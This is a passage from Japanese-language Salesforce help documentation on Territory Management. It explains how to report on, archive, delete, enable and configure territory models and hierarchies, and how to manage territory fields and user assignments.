メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. 取引先オブジェクトとテリトリーオブジェクトをリンクするカスタムレポー
トタイプが、組織に存在することを確認します。カスタムレポートタイプに
は、取引先オブジェクトに 1 つ以上のテリトリーオブジェクトが存在する必
要があることが指定され、これらのオブジェクトのすべての項目がレポート
に使用できるようになっている必要があります。

2. レポートを作成します。[レポート] タブをクリックし、[新規レポート] をク
リックします。

3. [テリトリー管理] カテゴリで、このレポート用に作成されているカスタムレ
ポートタイプを選択します。

4. [作成] をクリックします。
5. レポートの「マトリックス形式」を選択します。
6. [テリトリー] 項目リストから、「表示ラベル」項目を選択します。それをド

ラッグして行グルーピングを作成します。
7. [取引先] 項目リストから、「取引先名」項目を選択します。それをドラッグ

して行グルーピングを作成します。
8. [取引先] 項目リストから、「年間売上」や「従業員数」など、集計可能な項目

を選択して合計を表示します。それを集計可能項目領域にドラッグします。
プロンプトが表示されたら、[合計] チェックボックスをオンにします。

9. (省略可能) レポートの結果を絞り込みます。[表示] 項目から取引先の所有権
で絞り込むには、[私の取引先]、[私のチームの取引先]、または [私のテリト
リーチームの取引先] を選択します。ユーザテリトリー割り当てで絞り込む
には、[私のテリトリーの取引先] を選択します。

10. このレポートに便利な他の項目を追加します。
11. レポートを実行し、目的のデータおよび配置が表示されることを確認します。
12. [テリトリー] 項目の「表示ラベル」で情報を集計し、すべての項目値をテリトリー別に合計します。
13. レポートを保存します。
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テリトリーモデルのアーカイブ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーモデルをアー
カイブする
• 「テリトリーの管理」

テリトリーモデルをアーカイブすると組織では無効化されますが、テリトリー
モデルリストには残るため、関連付けられた割り当てルールや、ルールで生成
された取引先からテリトリーへの割り当ては参照できます。アーカイブできる
のは、[有効] 状態のモデルのみです。アーカイブしたモデルを [有効] 状態ま
たは [計画] 状態に戻すことはできません。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. [設定] から、[クイック検索] ボックスに「テリトリーモデル」と入力し、[テ
リトリーモデル] を選択します。

2. アーカイブするテリトリーモデルの横にある [編集] をクリックします。
3. [状態] ドロップダウンから [アーカイブ] をクリックします。

Salesforce で要求が処理されている間、モデルの状態は [アーカイブ] に変更
されます。処理が完了すると、モデルの状態が [アーカイブ済み]に変更し、
確認メールが送信されます。組織の規模および複雑性によっては、この処理
にしばらく時間がかかることがあります。

テリトリーモデルの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーを削除する
• 「テリトリーの管理」

テリトリー管理および参照用に組織でモデルを積極的に使用しなくなった場合
は、テリトリーモデルを削除します。有効なテリトリーは削除できません。モ
デルは 計画 または アーカイブ済み 状態である必要があります。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

テリトリーモデルを削除すると、関連付けられているテリトリーと取引先割り
当てもすべて削除されます。削除処理をキャンセルしたり、削除したモデルを
復元したりすることはできません。処理には数時間かかることがあるため、処
理の完了時にメールが送信されます。
1. [設定] から、[クイック検索] ボックスに「テリトリーモデル」と入力し、[テ

リトリーモデル] を選択します。
2. リストでモデルを見つけます。[状態]列の値から、モデルが計画またはアー

カイブ済み 状態であることを確認します。
3. [削除] をクリックします。
4. 最後に、削除処理が完了したことをメールで確認します。
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テリトリーモデルレベルでの割り当てルールの参照および管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリールールを作成
または管理する
• 「設定・定義を参照す

る」

および

「テリトリーの管理」

割り当てルールを上位のレベルで参照および管理することも可能です。テリト
リーモデルレコードから開始して、モデルのテリトリーのルールを作成、編集、
または参照します。モデルレベルのルールのリストから、ルール条件を参照す
るか、ルールレコードを開いて、ルールがどのテリトリーに割り当てられてい
るか (割り当てられている場合) を確認します。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. [設定] から、[クイック検索] ボックスに「テリトリーモデル」と入力し、[テ
リトリーモデル] を選択します。

2. 管理するルールのテリトリーモデルの横にある [ルールの表示]をクリックし
ます。

3. [割り当てルール] リストビューで、新しいルールを作成したり、ルールレコー
ドを開いて詳細を入力したり、ルール名にマウスポインタを置いてその条件
を参照したりできます。

関連トピック:

割り当てルールが適用されるテリトリーの確認
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割り当てルールの有効化および下位テリトリーへの適用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

割り当てルールを下位テリトリーに適用する機能は、テリトリーレベルでのみ
使用できます。テリトリーモデルレベルで、割り当てルールを下位テリトリー
に割り当てることはできません。そのため、個々のテリトリーからルールのレ
コードにアクセスした場合は、ルールを下位テリトリーに適用するオプション
しか表示されません。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

この制限を念頭に置き、適切な場所からルールレコードを作成または編集して
ください。テリトリーレコードから開始すると、最も多くのオプションを使用
できます。使用する割り当てルールをすべて有効にしてください。無効なルー
ルは、関連テリトリーまたは割り当てルールが適用された下位テリトリーには
影響しません。

例: たとえば、「アメリカ合衆国」というテリトリーモデルがあり、その階層に「合衆国東部」および
「合衆国西部」という 2 つのテリトリーがあるとします。「合衆国東部」テリトリーには、「合衆国東部
取引先」というルールが割り当てられています。テリトリーモデル「アメリカ合衆国」のレコードを開
き、[ルールの表示] をクリックし、そこで [編集] をクリックして「合衆国東部取引先」ルールレコード
を編集すると、最後のステップでルールを有効にすることができます。
「合衆国東部」テリトリーレコードから開始する場合は、「合衆国東部取引先」ルールレコードの横に
ある [編集] をクリックすると、ルールを有効または無効にするステップに加えて、ルールを「合衆国東
部」テリトリーの下位テリトリーに適用できる追加のステップが表示されます。

エンタープライズテリトリー管理の無効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

エンタープライズテリト
リー管理を無効にする
• 「アプリケーションの

カスタマイズ」

必要に応じて、組織のエンタープライズテリトリー管理を無効にし、レコード
共有に別の手段を使用できます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

重要: エンタープライズテリトリー管理を無効にすると、ユーザはテリト
リー割り当てに基づくレコードへのアクセス権を失い、組織はテリトリー
管理データへのアクセス権を失います。エンタープライズテリトリー管理
を再度有効にすると、以前に機能で使用可能であったデータが失われる可
能性があります。

1. 有効なテリトリーモデルのアーカイブをまだ行っていない場合は、エンター
プライズテリトリー管理を無効にする前にアーカイブしてください。

2. [設定] から、[クイック検索]ボックスに「テリトリー」と入力し、[設定]を選
択します。

3. [テリトリー管理 2.0 を無効化] をクリックします。
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元のテリトリー管理

テリトリー管理の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリー管理を有効化
する
• 「テリトリーの管理」

テリトリー管理を有効にする前に、Salesforce に連絡して、組織が前提条件を満
たしていることを確認します。

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

Salesforce では、テリトリー管理がデフォルトで有効化されていません。組織で
テリトリー管理をご利用になる場合は、弊社サポートまでお問い合わせくださ
い。

メモ: 元のテリトリー管理は、カスタマイザブル売上予測でのみ使用可能
で、コラボレーション売上予測ではサポートされていません。元のテリト
リー管理が有効になっている場合、コラボレーション売上予測を使用でき
なくなります。新しいエンタープライズテリトリー管理は、カスタマイザ
ブル売上予測では使用できません。エンタープライズテリトリー管理とコ
ラボレーション売上予測は、Salesforce 組織で同時に有効化して使用できま
すが、現在、2 つの機能は連動するように統合されていません。

テリトリー管理を有効にする前に、次の前提条件を満たしていることを確認し
ます。
• テリトリー管理を有効にするためには、組織がカスタマイザブル売上予測を使用している必要があります。

カスタマイザブル売上予測を使用しているかどうか不明な場合は、「カスタマイザブル売上予測が有効
か?」 (ページ 1820)を参照してください。

前提条件を満たすと、テリトリー管理を有効にする準備が整います。
1. Salesforceの [設定] から、[クイック検索] ボックスに「テリトリー」と入力し、[テリトリーの設定]を選択し

ます。
2. 必要に応じて、組織レベルのテリトリー管理の設定を変更します。この設定は、テリトリーの設定ページ

から変更可能です。「テリトリー管理の設定」 (ページ 2349)を参照してください。
3. テリトリー管理の有効化には 2 種類のオプションがあり、どちらを使用するかは、既存の売上予測データ

を保持するか消去するかによって異なります。[テリトリー管理の有効化]または [新規作成のテリトリー管
理の有効化] のいずれかをクリックします。
[テリトリー管理の有効化] ボタンの処理内容

このボタンをクリックすると、組織の現在の売上予測階層と売上予測データが、テリトリー階層に次の
ように自動的にコピーされます。
• 組織の名前は、自動的にテリトリー階層の最上位に自動的に設定されます。
• 売上予測階層内の各ロールに対して、対応するテリトリーが新しいテリトリー階層で作成されます。
• ロールに対する売上予測の共有の直接設定が、新規テリトリーにコピーされます。売上予測の共有

を手動で設定する方法についての詳細は、「売上予測の共有の直接設定」 (ページ2303)を参照してく
ださい。

• 有効な Salesforce ユーザが、ロールに基づいてテリトリーに追加されます。
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• 商談は、商談の所有者のテリトリーに割り当てられます。
• 取引先は、テリトリー階層内のどこにも割り当てられません。
• テリトリーを追加または編集するまで、売上予測はテリトリー管理を有効にする前と同様に機能し

ます。
[新規作成のテリトリー管理の有効化] ボタンの処理内容

このボタンをクリックすると、次の処理が実行されます。
• すべての既存の売上予測データが削除されます。
• 空のテリトリー階層が作成されます。
このボタンは、既存の売上予測階層がなく、Salesforceで完全に新規の組織を設定する場合にのみ使用す
ることをお勧めします。

警告: [新規作成のテリトリー管理の有効化] をクリックすることは、回復不可能なデータ損失につ
ながります。

4. テリトリー関連項目、ページレイアウト、およびユーザ権限を設定します。
• 取引先のオブジェクト管理設定から、[ページレイアウト] に移動し、取引先ページレイアウトに [テリ

トリー] 項目と [テリトリーの割り当てルールから除外] 項目を追加します。取引先ページレイアウトご
とに、ユーザが取引先を保存したときに、取引先割り当てルールの実行を選択可能にするかどうかを設
定できます。また、取引先が保存されるたびに、デフォルトで取引先割り当てルールが実行されるかど
うかも設定できます。

• 商談のオブジェクト管理設定から、[ページレイアウト] に移動し、商談ページレイアウトに [テリト
リー] 項目を追加します。

• ユーザをテリトリー階層の管理者にするには、権限セットまたはプロファイルを使用してユーザに「テ
リトリーの管理」権限を付与します。テリトリー管理を有効にする前に「アプリケーションのカスタマ
イズ」権限を持っていたユーザには、自動的に「テリトリーの管理」権限が与えられます。

5. 新しいテリトリー階層で作業を開始するには、[設定] から、[クイック検索]ボックスに「階層」と入力し、
[テリトリー階層] を選択します。「テリトリー階層の構築」 (ページ 2350)を参照してください。

関連トピック:

カスタマイザブル売上予測が有効か?

テリトリー管理の設定
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テリトリー管理の設定

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーを設定する
• 「テリトリーの管理」

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

新しいテリトリーに対して、取引先、取引先責任者、商談およびケースのデフォ
ルトのアクセス権を設定できます。また、テリトリー階層で下位に位置する売
上予測マネージャにテリトリーを管理させるかどうかも設定できます。
1. [設定] から、[クイック検索]ボックスに「テリトリー」と入力し、[テリトリー

の設定] を選択します。
2. 取引先、取引先責任者 (組織の共有設定に応じて)、商談およびケースに対す

るデフォルトのアクセス権を選択します。これは、新規テリトリーが作成さ
れたときに、デフォルトで選択されるアクセス権になります。これらの項目
の詳細は、「テリトリーの項目」 (ページ 2354)を参照してください。

メモ: これらの設定は、既存のテリトリーには影響しません。
テリトリーを個別に作成または編集する場合には、このデフォルトのア
クセス権を上書きできます。「テリトリーの作成」 (ページ2353)を参照し
てください。

3. 必要に応じて、[売上予測マネージャのテリトリー管理] チェックボックスをオンにします。このチェック
ボックスをオンにすると、売上予測マネージャが下位テリトリーを管理できます。つまり、自分より下の
テリトリーに属するユーザの管理、取引先の手動追加、取引先割り当てルールの管理ができます。また、
下位テリトリーを、自身のテリトリーと下位テリトリーの両方に追加できます。売上予測マネージャにつ
いての詳細は、「売上予測階層内の売上予測マネージャの割り当て」 (ページ 2301)を参照してください。

関連トピック:

テリトリー管理の有効化
テリトリーの表示および編集
テリトリー管理に関するオブジェクト
テリトリー階層の構築
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テリトリー階層の構築

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーを参照する
• 「設定・定義を参照す

る」

テリトリーを編集する
• 「テリトリーの管理」

または

売上予測マネージャで
ある。売上予測マネー
ジャは、テリトリー階
層において自分の下位
で作業するユーザのテ
リトリーを管理できま
す。

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

メモ: [テリトリー管理の有効化]ボタンをクリックしてテリトリー管理を有
効にした場合には、既存の売上予測階層がテリトリー階層の基盤として使
用されました。

組織のテリトリー階層で作業するには、[設定] から、[クイック検索] ボックス
に「階層」と入力し、[テリトリー階層]を選択します。階層内のテリトリーを参
照する場合は、次の用語を使用します。
上位テリトリー

階層内で上位層に位置するテリトリー。テリトリーには、参照先のない最上
位のテリトリーを除いて、必ず 1 つの上位テリトリーを持ちます。

下位テリトリー
階層内で下位層に位置するテリトリー。上位テリトリーは、いくつでも下位
テリトリーを持てます。

同階層テリトリー
同一の上位テリトリーを共有する下位テリトリー。

ドロップダウンリストからオプションを選択すると、テリトリー階層の表示方
法を変更できます。
ツリー形式で表示

自分のテリトリー間の親子関係が表示されます。[すべて展開] をクリックす
ると、すべてのテリトリーを確認できます。または、[すべて折りたたむ] を
クリックすると、最上位のテリトリーのみ確認できます。個々のノードを展
開したり折りたたんだりするには、プラス (+) アイコンまたはマイナス (-) ア
イコンをクリックします。

リスト形式で並び替え表示
テリトリーが一覧表示されます。この一覧は、テリトリー名、上位テリトリー ([上位テリトリー]) または説
明でアルファベット順に並び替えできます。
項目の絞り込みリストを表示するには、[ビュー]ドロップダウンリストから事前定義済みのリストを選択
するか、[新規ビューの作成] をクリックして、自分専用のカスタムビューを定義します。作成したビュー
を編集または削除するには、[ビュー] ドロップダウンリストからビューを選択し、[編集] をクリックしま
す。

リスト形式で表示
最上位のテリトリーの名前でアルファベット順にグループ化された、テリトリーとその下位テリトリーの
リストを確認します。列の並び替えはできません。このビューは、1,000 を超えるテリトリーのある階層で
は使用できません。
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各ビューには、テリトリーの作成、編集、削除のリンクがあります。

関連トピック:

テリトリーの管理
テリトリーの表示および編集

テリトリーの表示および編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーを参照する
• 「設定・定義を参照す

る」

テリトリーを編集する
• 「テリトリーの管理」

または

売上予測マネージャで
ある。売上予測マネー
ジャは、テリトリー階
層において自分の下位
で作業するユーザのテ
リトリーを管理できま
す。

テリトリー詳細ページでは、そのテリトリーに関連するテリトリーや割り当て
られたユーザ、含まれる取引先など、テリトリーをさまざまな方向から参照ま
たは編集できます。

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

テリトリーの表示
1. [設定] から、[クイック検索]ボックスに「階層」と入力し、[テリトリー階層]

を選択します。
2. 表示するテリトリーの名前をクリックします。

関連テリトリーの一覧表示

テリトリー詳細ページの上部にある [階層]リストでは、テリトリー階層内で、
このテリトリーと上位テリトリーとの関連性が一覧表示されます。このテリト
リーの上位テリトリーを共有する他のテリトリーの名前を確認するには、[同階
層] リストを参照します。どちらのリストでも、テリトリー名をクリックする
と、そのテリトリーを参照できます。テリトリー詳細ページには、[下位テリト
リー] 関連リストがあります。「テリトリー関連リストでの作業」 (ページ2352)を
参照してください。

テリトリーの編集
既存のテリトリーを更新するには、[編集]をクリックしてから、編集する項目を
変更します。詳細は、「テリトリーの項目」 (ページ2354)および「カスタムテリ
トリー項目の作成」 (ページ 2356)を参照してください。
テリトリーの編集が多量のデータに影響する場合には、その処理が完了したと
きに確認メールを受信します。

メモ: グループ、ロール、およびテリトリーを編集すると、共有ルールが再評価され、必要に応じてアク
セス権が追加または削除されます。
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テリトリーのコピー
[コピー]をクリックすると、現在のテリトリーと標準項目およびカスタム項目の値が同じテリトリーが作成さ
れます。コピーされたテリトリーは、元のテリトリーと上位テリトリーが同じです。ただし、割り当てられた
ユーザ、取引先割り当てルール、手動で割り当てた取引先はコピーされません。

メモ: 項目に対するアクセス権が「参照のみ」の場合、その項目の値はコピーしたレコードには引き継が
れません。

テリトリーへの取引先割り当ての一覧表示
[取引先の参照]をクリックすると、このテリトリーと、テリトリー階層内で下位にあるテリトリーに割り当て
られた取引先の一覧を確認できます。この一覧には、手動で割り当てられた取引先と、ルールによって割り当
てられた取引先が含まれています。

テリトリー関連リストでの作業
各テリトリー詳細ページには、次の関連リストがあります。
• 割り当てられたユーザ - テリトリー内のユーザリスト。「テリトリーでのユーザの管理」 (ページ 2358)を参

照してください。
• 継承された取引先割り当てルール - 上位テリトリーで定義された、このテリトリーの取引先割り当てルー

ルのリスト。「取引先割り当てルールの管理」 (ページ 2363)を参照してください。
• このテリトリー内で定義された取引先割り当てルール - このテリトリーの取引先割り当てルールのリスト。

「取引先割り当てルールの管理」 (ページ 2363)を参照してください。
• 手動で割り当てた取引先 - このテリトリーに手動で追加された取引先のリスト。「手動による取引先のテ

リトリーへの割り当て」 (ページ 2372)を参照してください。
• 下位テリトリー - テリトリー階層でこのテリトリーの真下に位置するテリトリーのリスト。このテリトリー

の下位テリトリーを作成するには、[テリトリーの追加] をクリックします。下位テリトリーの詳細ページ
を表示するには、テリトリー名をクリックします。

関連トピック:

テリトリー階層の構築
テリトリー管理の有効化
テリトリーへの売上予測マネージャの追加
テリトリーの作成
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テリトリーの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーを作成する
• 「テリトリーの管理」

または

売上予測マネージャで
ある。売上予測マネー
ジャは、テリトリー階
層において自分の下位
で作業するユーザのテ
リトリーを管理できま
す。

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

組織で最大 500 テリトリーを作成できます。新しいテリトリーを作成する手順
は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「階層」と入力し、[テリトリー階層]

を選択します。
2. [テリトリーの追加]をクリックします。または、テリトリー詳細ページの [下

位テリトリー] 関連リストから、[テリトリーの追加]をクリックすることもで
きます。

3. 項目を編集または変更して、新規テリトリーを定義します。テリトリー項目
の詳細は、「テリトリーの項目」 (ページ 2354)を参照してください。
テリトリーに必要な標準項目は、[表示ラベル]、[テリトリー名]、および[上
位テリトリー] です。また、テリトリーにはカスタム項目を加えることもで
きます。詳細は、「カスタムテリトリー項目の作成」 (ページ2356)を参照して
ください。

4. [保存] をクリックして終了するか、[保存 & 新規] をクリックしてテリトリー
の作成を続行します。

関連トピック:

テリトリーの項目
カスタムテリトリー項目の作成
テリトリー階層の構築
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テリトリーの項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーを編集する
• 「テリトリーの管理」

または

売上予測マネージャで
ある。売上予測マネー
ジャは、テリトリー階
層において自分の下位
で作業するユーザのテ
リトリーを管理できま
す。

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

テリトリーには、アルファベット順に表示される次の項目があります。

説明項目名

このテリトリーの取引先に対して、テ
リトリーのメンバーにどの程度のアク
セスを許可するか (「参照のみ」、「参
照と編集」、または「参照、編集、転
送と削除」) を設定します。

取引先のアクセス権

このテリトリーの取引先のケースに対
して、そのケースの所有者に関わら
ず、テリトリーのメンバーにどの程度
のアクセスを許可するか (「アクセス
権限なし」、「参照のみ」、または
「参照と編集」) を設定します。

ケースのアクセス権

このチェックボックスをオンにして、
取引先割り当てルールが実行されとき
に、このテリトリー内の商談が、テリ
トリーおよびその下位テリトリーから
持ち出されれることを防止します。

商談を固定

テリトリーの取引先の取引先責任者に
対して、その取引先責任者の所有者に

取引先責任者のアクセス権

関わらず、どの程度のアクセス権を許
可するかを設定します。選択肢は、
「アクセス権限なし」、「参照のみ」
または「参照と編集」です。

下位のテリトリーの売上予測が集約さ
れるユーザ。テリトリー詳細ページの

売上予測マネージャ

[変更] をクリックした場合にのみ編集
できます。テリトリーの設定ページか
ら有効にした場合には、売上予測マ
ネージャに対して階層内で下位にある
テリトリーの管理を許可することもで
きます。

ユーザインターフェースページで、テ
リトリーを参照するために使用する名
前。

表示ラベル
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説明項目名

このテリトリーの取引先の商談に対して、その商談の
所有者に関わらず、テリトリーのメンバーにどの程度

商談のアクセス権

のアクセスを許可するか (「アクセス権限なし」、「参
照のみ」または「参照と編集」) を設定します。

テリトリー階層内で、このテリトリーの上位にあるテ
リトリー。上位テリトリーは、既存のテリトリーであ

上位テリトリー

る必要があります。上位テリトリーを選択するには、
ルックアップアイコンを使用します。

テリトリー詳細ページにのみ表示される、参照のみの
項目。各テリトリーには共有グループが 2 つ作成され

共有グループ

ます。1 つはテリトリー用で、もう 1 つはテリトリー
およびその下位テリトリー用です。[テリトリー]をク
リックすると、テリトリーの共有グループ内のユーザ
が確認できます。[テリトリーおよび下位テリトリー]

をクリックすると、テリトリーおよびその下位テリト
リー内のユーザを確認できます。

メモ: グループが共有ルールまたはレコード共
有の直接設定で使用されている場合に限り、ユー
ザはグループメンバーとして一覧されます。

この一意の名前は API および管理パッケージで使用さ
れます。

テリトリー名

テリトリーの説明です。テリトリーの説明

関連トピック:

カスタムテリトリー項目の作成
テリトリーの表示および編集
テリトリーの作成
FAQ - テリトリー管理

2355

テリトリーのカスタマイズ販売ツールの設定および管理



カスタムテリトリー項目の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

カスタムテリトリー項目
を作成または編集する
• 「テリトリーの管理」

または

売上予測マネージャで
ある。売上予測マネー
ジャは、テリトリー階
層において自分の下位
で作業するユーザのテ
リトリーを管理できま
す。

会社独自の要件に応じて最大 500 個のカスタムテリトリー項目を追加可能です。

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

テリトリーのオブジェクト管理設定から、項目領域に移動します。この領域か
ら、標準項目の詳細の参照や、カスタム項目の作成または編集、項目の連動関
係の定義を実行できます。

メモ: テリトリーには、カスタマイズ可能なページレイアウトがありませ
ん。新しいカスタム項目は、テリトリー詳細ページの下部に追加されます
(アルファベット順)。

関連トピック:

テリトリーの表示および編集
テリトリーの作成
テリトリーの項目
オブジェクト管理設定の検索
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テリトリーの削除

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーを削除する
• 「テリトリーの管理」

または

売上予測マネージャで
ある。売上予測マネー
ジャは、テリトリー階
層において自分の下位
で作業するユーザのテ
リトリーを管理できま
す。

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

下位テリトリーを持たないテリトリーのみ削除できます。テリトリーが削除さ
れると、次のアイテムとそのテリトリーとの関連付けが解除されます。
• すべてのユーザ ([テリトリーで有効] チェックボックスがオンであるかどう

かに関係なく)

• すべての取引先 (割り当て方法が手動か取引先割り当てルールによるかに関
係なく)

• すべての商談
テリトリーを削除する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「階層」と入力し、[テリトリー階層]

を選択します。
2. 階層のテリトリーの横にある [削除]をクリックします。または、テリトリー

の名前を選択し、[削除] をクリックします。

メモ: 取引先または商談をごみ箱から復元するとテリトリーの割り当てが
元に戻りますが、取引先割り当てルールの評価は実行されません。レコー
ドがごみ箱に入っていたときに取引先割り当てルールが変更された場合に
は、復元したレコードに新規ルールに一致しないテリトリーが存在する場
合があります。

関連トピック:

テリトリーの表示および編集
テリトリー階層の構築
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テリトリーでのユーザの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

ユーザをテリトリーに割
り当てる
• 「テリトリーの管理」

および

「ユーザの管理」

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

テリトリーに追加できるユーザ数に制限はありません。また、ユーザが割り当
てられるテリトリー数にも制限はありません。
特定のテリトリーと関連したユーザには、[有効]および [テリトリーで有効]の
両方の状況を持ちます。
有効

有効なユーザは、Salesforce にログインできます。
無効になったユーザも商談を所有したままにし、売上予測とテリトリーで集
計表示できます。ユーザが無効化されると、そのユーザの商談からの売上予
測の上書き、売上予測レベルでの売上予測の上書き、およびマネージャのに
よる直属部下の売上予測の上書きがロックされます。ただし、無効化された
ユーザのマネージャは、直属部下の売上予測の上書きが可能です。集計金額
は現在のままになります。無効化されたユーザが後に再有効化されると、そ
のユーザは以前と同様の処理を再開できます。無効になったユーザの「売上
予測を許可」が無効の場合、ユーザは、割り当てられているテリトリーから
削除されます。
ユーザは、個人設定の個人情報ページを変更して有効な状況を設定できま
す。

テリトリーで有効
テリトリー詳細ページで [テリトリーで有効]がオンのユーザは、進行中の商談や完了した商談を所有する
か、そのテリトリー内で商談を 1 つも所有しないユーザです。[テリトリーで有効] がオフのユーザは、そ
のテリトリーから移動または削除されたユーザですが、以前のテリトリー内にある商談の所有権は引き続
き保持します。

ユーザが属するテリトリーを参照するには、個人情報ページの [テリトリー] 関連リストを参照します。任意の
ユーザのこの関連リストを参照するには、[設定] から、[クイック検索]ボックスに「ユーザ」と入力し、[ユー
ザ] を選択します。

テリトリーへのユーザの追加
ユーザをテリトリーに追加する手順は、次のとおりです。
1. テリトリー詳細ページから、[ユーザを追加] をクリックします。
2. 項目の絞り込みリストを表示するには、[表示]ドロップダウンリストから事前定義済みのリストを選択す

るか、[新規ビューの作成] をクリックして、自分専用のカスタムビューを定義します。
3. [アクション] 列のチェックボックスをクリックして、「選択可」エリアおよび「選択済み」エリア間でユー

ザを移動します。また、次の操作も実行できます。
• 文字をクリックすると、その文字に対応するユーザが表示されます。
• [すべて] をクリックすると、現在のビューの検索基準に一致するすべてのユーザが表示されます。
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• [表示の選択]をクリックすると、現在のリストページに表示されているユーザはすべて、下にある「選
択済み」エリアに移動されます。

• [表示の選択解除] または [すべて選択解除] をクリックすると、ユーザは「選択済み」エリアから「選択
可」エリアに移動されます。

メモ: すでにテリトリーに割り当てられているユーザは、リストビュー条件を満たしていても、[選択
可能なユーザ] リストに表示されません。

4. テリトリーに割り当てるユーザがすべて「選択済み」エリアに含まれている場合は、[割り当て] をクリッ
クします。

テリトリーからのユーザの削除
ユーザをテリトリーから削除して、進行中の商談を受信する人を選択できます。
1. テリトリー詳細ページの [割り当てられたユーザ] 関連リストで、ユーザ名の横にある [削除] をクリックし

ます。
2. [新規所有者]ルックアップアイコン ( ) をクリックして、そのユーザが所有できる進行中の商談の受信者

を選択します。
3. または、[新規所有者] 項目を空白のままにしておきます。次のいずれかの結果になります。

• 上位テリトリーに売上予測マネージャがいる場合は、その売上予測マネージャが、そのユーザの進行中
の商談の所有権を取得します。また、売上予測マネージャは、[テリトリーで有効]チェックボックスが
オフにされた状態でそのテリトリーに割り当てられます。

• 上位テリトリーに売上予測マネージャがいない場合、そのユーザは、[テリトリーで有効]チェックボッ
クスがオフにされた状態でそのテリトリーに残ります。

4. [保存] をクリックします。
非常に多くのデータが影響を受ける場合には、処理が完了したときに確認のメールが送信されます。

テリトリー間でのユーザの移行
ユーザ移行ウィザードを使用すると、あるテリトリーから別のテリトリーへのユーザの移行、ユーザが引き続
き所有する進行中の商談の選択、およびユーザが手放した進行中の商談の受信者の指定ができます。
ユーザをテリトリーから別のテリトリーに移行する手順は、次のとおりです。
1. テリトリー詳細ページの [割り当てられたユーザ] 関連リストで、ユーザ名の横にある [転送] をクリックし

ます。
2. ユーザの移行先のテリトリーの横にある [選択] をクリックします。必要に応じて、目的の移行先のテリト

リーを表示するテリトリー階層内のノードを展開するか、折りたたみます。
3. [新規所有者]ルックアップアイコン ( ) をクリックして、移行したユーザが手放した進行中の商談の所有

権を取得するユーザを選択します。[次へ] をクリックして続行します。
この手順を飛ばして受信者を選択しなかった場合は、ユーザが所属していたテリトリーの上位テリトリー
に所属する売上予測マネージャが、ユーザが手放した進行中の商談の所有権を取得します。ユーザが所属
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していたテリトリーの上位テリトリーに売上予測マネージャがいない場合、その商談の所有権は、移行す
るユーザに維持されます。

4. ユーザの進行中の商談のリストビューを選択します。
5. [選択] および [選択解除] をクリックして、「選択可」および「選択済み」エリア間で商談を移動します。

また、次の操作も実行できます。
• 文字をクリックすると、その文字に対応する商談を参照します。
